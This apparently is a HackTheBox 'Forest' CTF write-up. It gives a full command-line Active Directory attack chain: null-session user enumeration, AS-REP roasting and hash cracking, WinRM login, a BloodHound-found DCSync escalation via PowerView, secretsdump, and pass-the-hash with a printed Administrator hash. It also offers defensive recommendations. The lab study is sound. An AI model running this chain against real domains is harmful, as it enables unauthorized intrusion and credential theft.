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nekohige
nekohige

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HTB - Forest Writeup - no Metasploit

#cybersecurity #infosec #security

Summary

  • We were able to enumerate domain usernames via SMB without authentication (null session).
  • Among those users, some had Kerberos pre-authentication disabled, which allowed us to perform AS-REP Roasting and crack svc-alfresco’s password.
  • Using that password, we could login as svc-alfresco and used BloodHound to map a privilege-escalation path to Administrator via DCSync.

Recommendation

Assuming this were a real environment, I would recommend the following.

  • Restrict anonymous/null-session enumeration of domain usernames over SMB.
  • Enable Kerberos pre-authentication for all user accounts to prevent AS-REP Roasting.
  • Review and remove unnecessary group nesting that grants service accounts excessive privileges (e.g., svc-alfresco being a member of Account Operators), and regularly audit ACLs for dangerous rights (GenericAll, WriteDacl, etc.) granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

Let’s enumerate the open ports on the machine using nmap. I usually use nmap in 2 steps. First, I take a quick full-port sweep using following options.

  • -sS for a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake
  • -Pn to skip host discovery and assume the host is up, so that all ports actually get checked
  • -p- to scan all 65535 TCP ports
  • --open to only show ports that are open
  • -n to skip DNS resolution since in CTFs like HTB, private IPs usually don’t resolve to anything anyway
  • --min-rate 5000 to speed up the scan by sending at least 5000 packets per second
  • -oA scan_all to save the output in all three formats (.nmap, .xml, .gnmap) under the prefix scan_all 
sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.95.210
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Second, it’s time to dig deeper into the open ports using the following commands and options.

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
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  • grep -oP '\d+/open' to pull out every <port>/open match from scan_all.gnmap
  • cut -d/ -f1 to strip off the /open part, leaving just the port number
  • paste -sd, to join all those numbers from separate lines into one comma-separated string
  • the result is stored in the ports variable 
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.95.210
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  • -sS for a stealthy SYN scan
  • -Pn to skip host discovery
  • -p "$ports" to limit the scan to only those open ports
  • -A to enable version detection (-sV), default NSE scripts (-sC), OS detection (-O), and traceroute all at once
  • -oN scan_deep.txt for saving the output to scan_deep.txt

Ports 135 (RPC), 139 (NetBIOS/SMB), and 445 (SMB) are open. Also, 53 (DNS), 389 (LDAP) and 88 (Kerberos) are open, too. This suggests a standalone Windows machine having an Active Directory domain.
It is stated that he domain is htb.local.
Some uncommon ports are open as well.

Add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.95.210 htb.local" | sudo tee -a /etc/hosts
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sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.95.210
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Many UDPs are open. We may come back.

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.95.210 -u '' -p '' --shares --users --groups
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There are usernames!

Organize them into users.txt.

echo 'sebastien
lucinda
svc-alfresco
andy
mark
santi' > users.txt
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Exploitation

Let’s try AS-REP Roasting, since we already know the usernames that exist on the machine. If a user has pre-authentication disabled, the following command gets us an AS-REP hash for offline password cracking.

impacket-GetNPUsers -dc-ip 10.129.15.154 -request -format hashcat -outputfile npusers -usersfile users.txt htb.local/
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It says “Requested starttime is later than end time.” So we need to check the time difference between the target machine and our own.

The following command gives us the time difference.

D=$(ldapsearch -x -H ldap://10.129.15.154 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)"
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Let's use faketime to adjust the time.

faketime "+87332 seconds" impacket-GetNPUsers -dc-ip 10.129.15.154 -request -format hashcat -outputfile npusers -usersfile users.txt htb.local/
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We get the AS-REP hash!

Let's crack it.

hashcat -m 18200 npusers /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule
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Cracked! svc-alfresco:s3rvice

Let's check what we can do with the credential.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.15.154 -u 'svc-alfresco' -p 's3rvice' $a; done; done; for p in ssh ftp; do nxc $p 10.129.15.154 -u 'svc-alfresco' -p 's3rvice'; done
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We can use WINRM.

Let's login.

evil-winrm -i 10.129.15.154 -u svc-alfresco -p s3rvice
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type C:\Users\svc-alfresco\Desktop\user.txt
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We get the user.txt.

Privilege Escalation

Let’s first use BloodHound to understand how to go from the owned user to Administrator.

bloodhound-ce-python -u svc-alfresco -p 's3rvice' -d htb.local -ns 10.129.15.154 -c all
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Upload the files onto BloodHound and use pathfinding from svc-alfresco to Administrator.

There is a path as follows: svc-alfresco is a member of Account Operators, which has GenericAll over Exchange Windows Permissions, which has WriteDacl over HTB.LOCAL — the domain that contains Administrator. So let’s join Exchange Windows Permissions, grant svc-alfresco DCSync rights over HTB.LOCAL, and then use secretsdump to dump Administrator’s hash.

Add svc-alfresco to Exchange Windows Permissions.

net group "Exchange Windows Permissions" svc-alfresco /add /domain
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A relogin is necessary for the configuration to take effect.

Use PowerView to grant svc-alfresco DCSync right.

upload PowerView.ps1
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. .\PowerView.ps1
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Add-DomainObjectAcl -Rights DCSync -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Verbose
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Use secretsdump to retrieve Administrator's hash.

impacket-secretsdump -just-dc  htb.local/svc-alfresco:'s3rvice'@10.129.15.154
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Check what the Administrator and its hash can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.15.154 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' $a; done; done; for p in ssh ftp; do nxc $p 10.129.15.154 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'; done
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Login and get the root.txt!

evil-winrm -i 10.129.15.154 -u Administrator: -H 32693b11e6aa90eb43d32c72a07ceea6

type C:\Users\Administrator\Desktop\root.txt
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Lessons Learned

  • BloodHound is a great way to figure out how to get an Administrator shell. GenericAll lets you do almost anything to the target object. WriteDacl can lead to DCSync. I’ll learn about other rights for future challenges.

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